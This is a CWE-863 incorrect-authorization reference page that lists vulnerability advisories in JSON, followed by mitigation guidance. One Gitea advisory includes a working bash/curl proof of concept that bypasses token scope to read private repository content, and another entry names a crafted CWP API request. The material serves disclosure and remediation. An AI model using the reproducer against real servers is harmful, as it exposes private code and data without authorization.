Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5753 vulnerabilities reference this CWE, most recent first.

GHSA-CM54-PFMC-XRWX

Vulnerability from github – Published: 2025-12-26 03:30 – Updated: 2025-12-26 19:00
VLAI
Summary
Gitea mishandles authorization for deletion of releases
Details

Gitea before 1.25.2 mishandles authorization for deletion of releases.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-26T19:00:21Z",
    "nvd_published_at": "2025-12-26T02:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Gitea before 1.25.2 mishandles authorization for deletion of releases.",
  "id": "GHSA-cm54-pfmc-xrwx",
  "modified": "2025-12-26T19:00:21Z",
  "published": "2025-12-26T03:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/36002/commits/d4262131b39899d9e9ee5caa2635c810d476e43f#diff-8962bac89952027d50fa51f31f59d65bedb4c02bde0265eced5cf256cbed306d"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.25.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea mishandles authorization for deletion of releases"
}

GHSA-CM7F-FCWH-GC62

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-07-13 00:01
VLAI
Details

Couchbase Server 6.5.x and 6.6.x through 6.6.2 has Incorrect Access Control. Externally managed users are not prevented from using an empty password, per RFC4513.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-35943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-29T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Couchbase Server 6.5.x and 6.6.x through 6.6.2 has Incorrect Access Control. Externally managed users are not prevented from using an empty password, per RFC4513.",
  "id": "GHSA-cm7f-fcwh-gc62",
  "modified": "2022-07-13T00:01:28Z",
  "published": "2022-05-24T19:16:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35943"
    },
    {
      "type": "WEB",
      "url": "https://docs.couchbase.com/server/current/release-notes/relnotes.html"
    },
    {
      "type": "WEB",
      "url": "https://www.couchbase.com/alerts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CMC2-26W7-7PMR

Vulnerability from github – Published: 2023-08-07 18:30 – Updated: 2024-03-14 18:30
VLAI
Details

The event analysis component in Zoho ManageEngine ADAudit Plus 7.1.1 allows an attacker to bypass audit detection by creating or renaming user accounts with a "$" symbol suffix.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-07T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "The event analysis component in Zoho ManageEngine ADAudit Plus 7.1.1 allows an attacker to bypass audit detection by creating or renaming user accounts with a \"$\" symbol suffix.",
  "id": "GHSA-cmc2-26w7-7pmr",
  "modified": "2024-03-14T18:30:30Z",
  "published": "2023-08-07T18:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32783"
    },
    {
      "type": "WEB",
      "url": "https://www.peteslade.com/post/manageengine-adauditplus-cve-2023-32783"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CMFH-G64P-R63X

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2023-08-02 00:30
VLAI
Details

Microsoft Surface Pro 3 Security Feature Bypass Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-42299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-20T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Surface Pro 3 Security Feature Bypass Vulnerability",
  "id": "GHSA-cmfh-g64p-r63x",
  "modified": "2023-08-02T00:30:39Z",
  "published": "2022-05-24T19:18:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42299"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42299"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CMFR-9M2R-XWHQ

Vulnerability from github – Published: 2026-04-09 17:34 – Updated: 2026-05-06 02:41
VLAI
Summary
OpenClaw `node.invoke(browser.proxy)` bypasses `browser.request` persistent profile-mutation guard
Details

Impact

OpenClaw node.invoke(browser.proxy) bypasses browser.request persistent profile-mutation guard.

node.invoke(browser.proxy) could mutate persistent browser profiles through a path that bypassed the browser.request guard.

OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= v2026.04.01
  • Patched versions: 2026.4.8

Fix

The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.

Verification

The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.

Credits

Thanks @nicky-cc of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:34:21Z",
    "nvd_published_at": "2026-04-28T19:37:47Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nOpenClaw `node.invoke(browser.proxy)` bypasses `browser.request` persistent profile-mutation guard.\n\nnode.invoke(browser.proxy) could mutate persistent browser profiles through a path that bypassed the browser.request guard.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= v2026.04.01`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @nicky-cc  of Tencent zhuque Lab ([https://github.com/Tencent/AI-Infra-Guard](https://github.com/Tencent/AI-Infra-Guard)) for reporting.",
  "id": "GHSA-cmfr-9m2r-xwhq",
  "modified": "2026-05-06T02:41:05Z",
  "published": "2026-04-09T17:34:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cmfr-9m2r-xwhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-persistent-profile-mutation-via-node-invoke-browser-proxy-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw `node.invoke(browser.proxy)` bypasses `browser.request` persistent profile-mutation guard"
}

GHSA-CMG9-PF33-9Q72

Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15
VLAI
Details

An issue was discovered in Joomla! before 3.9.17. Incorrect ACL checks in the access level section of com_users allow the unauthorized deletion of usergroups.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-11889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-21T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Joomla! before 3.9.17. Incorrect ACL checks in the access level section of com_users allow the unauthorized deletion of usergroups.",
  "id": "GHSA-cmg9-pf33-9q72",
  "modified": "2022-05-24T17:15:55Z",
  "published": "2022-05-24T17:15:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11889"
    },
    {
      "type": "WEB",
      "url": "https://developer.joomla.org/security-centre/811-20200403-core-incorrect-access-control-in-com-users-access-level-deletion-function"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CMPR-J6RP-9R78

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

Non-existent provider in Samsung Health prior to 6.19.1.0001 allows attacker to access it via malicious content provider or lead to denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25506"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-05T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Non-existent provider in Samsung Health prior to 6.19.1.0001 allows attacker to access it via malicious content provider or lead to denial of service.",
  "id": "GHSA-cmpr-j6rp-9r78",
  "modified": "2022-05-24T19:19:52Z",
  "published": "2022-05-24T19:19:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25506"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2021\u0026month=11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CMWH-95WF-H584

Vulnerability from github – Published: 2022-12-26 06:30 – Updated: 2025-04-14 18:31
VLAI
Details

In CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1107, attackers can make a crafted request to api/?api=add_server&DHCP= to add an authorized_keys text file in the /resources/ folder.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-45466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-26T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1107, attackers can make a crafted request to api/?api=add_server\u0026DHCP= to add an authorized_keys text file in the /resources/ folder.",
  "id": "GHSA-cmwh-95wf-h584",
  "modified": "2025-04-14T18:31:42Z",
  "published": "2022-12-26T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45466"
    },
    {
      "type": "WEB",
      "url": "https://control-webpanel.com/changelog"
    },
    {
      "type": "WEB",
      "url": "https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CP2M-J67P-96QC

Vulnerability from github – Published: 2025-05-13 00:31 – Updated: 2025-11-03 21:33
VLAI
Details

The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.6, macOS Sequoia 15.5, macOS Sonoma 14.7.6. An app may be able to bypass ASLR.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-12T22:15:21Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.6, macOS Sequoia 15.5, macOS Sonoma 14.7.6. An app may be able to bypass ASLR.",
  "id": "GHSA-cp2m-j67p-96qc",
  "modified": "2025-11-03T21:33:48Z",
  "published": "2025-05-13T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30440"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122716"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122717"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122718"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/May/7"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/May/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CP3Q-VRJ2-GHHH

Vulnerability from github – Published: 2026-07-21 20:38 – Updated: 2026-07-21 20:38
VLAI
Summary
Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
Details

Summary

A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:

  • GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
  • GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):

// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
      repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:

// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:

routers/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g
routers/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww
routers/web/repo/attachment.go:190  (attachments / release assets, centralized)
routers/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).

=== anonymous baseline (repository is private) ===
  anon GET /admin/secretrepo                       HTTP=404
=== same no-repo-scope token across routes ===
  API repo get (proves token lacks repo scope)     HTTP=403 canary=0
  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0
  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0
  /admin/secretrepo.rss               (control)    HTTP=403 canary=0
  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__server__ROOT_URL=http://localhost:3000/ \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  -p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
  [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
  --password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
  -H 'Content-Type: application/json' \
  -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  -H 'Content-Type: application/json' \
  -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
  --scopes read:user --token-name norepo --raw | tail -1)
echo "anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
  o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
  echo "/$p -> ${o##*|}  canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:

context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
    return
}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:38:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA personal access token (PAT) or OAuth2 token that does **not** carry the\n`repository` scope or that is **public-only** is correctly rejected (HTTP 403)\nby the recently hardened web content routes (archive download, raw/media file\ndownload, and repository RSS/Atom feeds). However, the repository home page route\n`GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository\u0027s\nrendered README, root file/directory tree, description, language statistics,\nlicense, and latest-release information to that same token.\n\nThis is a token-scope enforcement bypass and private-repository content\ndisclosure. It is the same source\u2192sink pattern already fixed for neighbouring\nroutes in:\n\n- **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download\n- **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds\n\n`repo.Home` is the remaining token-auth-enabled content route that was not given\nthe guard.\n\n### Details / Root cause\nWeb routes accept token authentication only when explicitly opted in with\n`webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries\n`AllowBasic` (added so that `go get` can resolve private modules):\n\n```go\n// routers/web/web.go:1256\nm.Get(\"/{username}/{reponame}\", optSignIn, webAuth.AllowBasic,\n      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),\n      repo.SetEditorconfigIfExists, repo.Home)\n```\n\nWhen a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go`\nsets `IsApiToken = true` and records `ApiTokenScope`:\n\n```go\n// services/auth/basic.go\nstore.GetData()[\"IsApiToken\"] = true\nstore.GetData()[\"ApiTokenScope\"] = token.Scope\n```\n\nThe patched sibling handlers all call the web-side scope guard\n`context.CheckRepoScopedToken(...)`, which enforces both the public-only\nrestriction and the `repository` scope:\n\n```\nrouters/web/repo/download.go:23     (raw / media / archive)  \u2190 GHSA-cr4g\nrouters/web/feed/render.go:15       (all repo feeds)         \u2190 GHSA-3pww\nrouters/web/repo/attachment.go:190  (attachments / release assets, centralized)\nrouters/web/repo/githttp.go:161     (git smart HTTP)         \u2190 GHSA-cc8w\n```\n\n`repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its\nonly gate is `checkHomeCodeViewable`, which verifies the **user\u0027s** permission and\nthat the code unit is enabled neither of which constrains the **token\u0027s** scope.\nThe README, file listing, and sidebar are then rendered. (The\n`handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo\nview is not.)\n\n### Proof of Concept\nReproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to\nthe source commit above). A private repository `admin/secretrepo` is created, and\na token is minted with **only** the `read:user` scope (no `repository` scope).\n\n```\n=== anonymous baseline (repository is private) ===\n  anon GET /admin/secretrepo                       HTTP=404\n=== same no-repo-scope token across routes ===\n  API repo get (proves token lacks repo scope)     HTTP=403 canary=0\n  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0\n  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0\n  /admin/secretrepo.rss               (control)    HTTP=403 canary=0\n  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1\n```\n\nA second token with scope `public-only,read:repository` behaves identically:\n`/archive` \u2192 403, but `/admin/secretrepo` \u2192 200 and returns the private content.\n\n`canary=1` means the private README marker was returned in the HTML response; the\nprivate file name `SECRET.md` is also disclosed in the rendered file tree.\n\nFull self-contained reproducer (Docker, prints a PASS/FAIL verdict):\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nN=gitea-poc; PW=\u0027Adm1n!pass99\u0027; CANARY=\u0027TOP-SECRET-CANARY-9F3A2\u0027\ndocker rm -f $N \u003e/dev/null 2\u003e\u00261 || true\ndocker run -d --name $N \\\n  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \\\n  -e GITEA__server__ROOT_URL=http://localhost:3000/ \\\n  -e GITEA__service__DISABLE_REGISTRATION=true \\\n  -p 3000:3000 gitea/gitea:main-nightly \u003e/dev/null\nfor i in $(seq 1 40); do\n  [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/api/healthz)\" = 200 ] \u0026\u0026 break; sleep 2; done\ndocker exec -u git $N gitea admin user create --admin --username admin \\\n  --password \"$PW\" --email admin@example.com --must-change-password=false \u003e/dev/null\ncurl -s -u admin:\"$PW\" -X POST http://localhost:3000/api/v1/user/repos \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"name\":\"secretrepo\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}\u0027 \u003e/dev/null\nSHA=$(curl -s -u admin:\"$PW\" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027sha\u0027])\")\ncurl -s -u admin:\"$PW\" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"content\":\"\u0027\"$(printf \u0027# %s\\nprivate\u0027 \"$CANARY\" | base64)\"\u0027\",\"message\":\"u\",\"sha\":\"\u0027\"$SHA\"\u0027\",\"branch\":\"main\"}\u0027 \u003e/dev/null\nTOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \\\n  --scopes read:user --token-name norepo --raw | tail -1)\necho \"anon  : $(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/admin/secretrepo)\"\nfor p in \"archive/main.zip\" \"raw/branch/main/README.md\" \".rss\" \"\"; do\n  o=$(curl -s -u admin:\"$TOK\" -w \u0027|%{http_code}\u0027 \"http://localhost:3000/admin/secretrepo${p:+/}$p\")\n  echo \"/$p -\u003e ${o##*|}  canary=$(printf \u0027%s\u0027 \"$o\" | grep -c \"$CANARY\" || true)\"\ndone\necho \"PASS if controls=403/404 and repo.Home (last line)=200 canary=1\"\ndocker rm -f $N \u003e/dev/null\n```\n\n### Impact\nAny holder of a non-`repository`-scoped or public-only token belonging to a user\nwho has access to private repositories can read those repositories\u0027 README, root\nfile/directory listing, description, languages, license, and latest release\ncontent the token was explicitly scoped to be unable to read. This defeats the\npurpose of fine-grained and public-only tokens (for example a CI token granted\nonly `read:issue`, or a `public-only` token issued to a third-party integration).\n\nThe disclosure is bounded to the repository root view because the deeper\n`/{owner}/{repo}/src/*` routes do not enable `AllowBasic`.\n\n### Suggested remediation\nMirror the sibling handlers: at the start of `repo.Home`\n(`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`,\nadd:\n\n```go\ncontext.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)\nif ctx.Written() {\n    return\n}\n```\n\nIt is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that\nrender repository data for the same omission notably\n`actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a\nprivate repository\u0027s workflow build status (pass/fail) to a token without the\n`repository` scope (lower impact, possibly intended since badges are designed to\nbe embeddable, but worth confirming).",
  "id": "GHSA-cp3q-vrj2-ghhh",
  "modified": "2026-07-21T20:38:31Z",
  "published": "2026-07-21T20:38:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
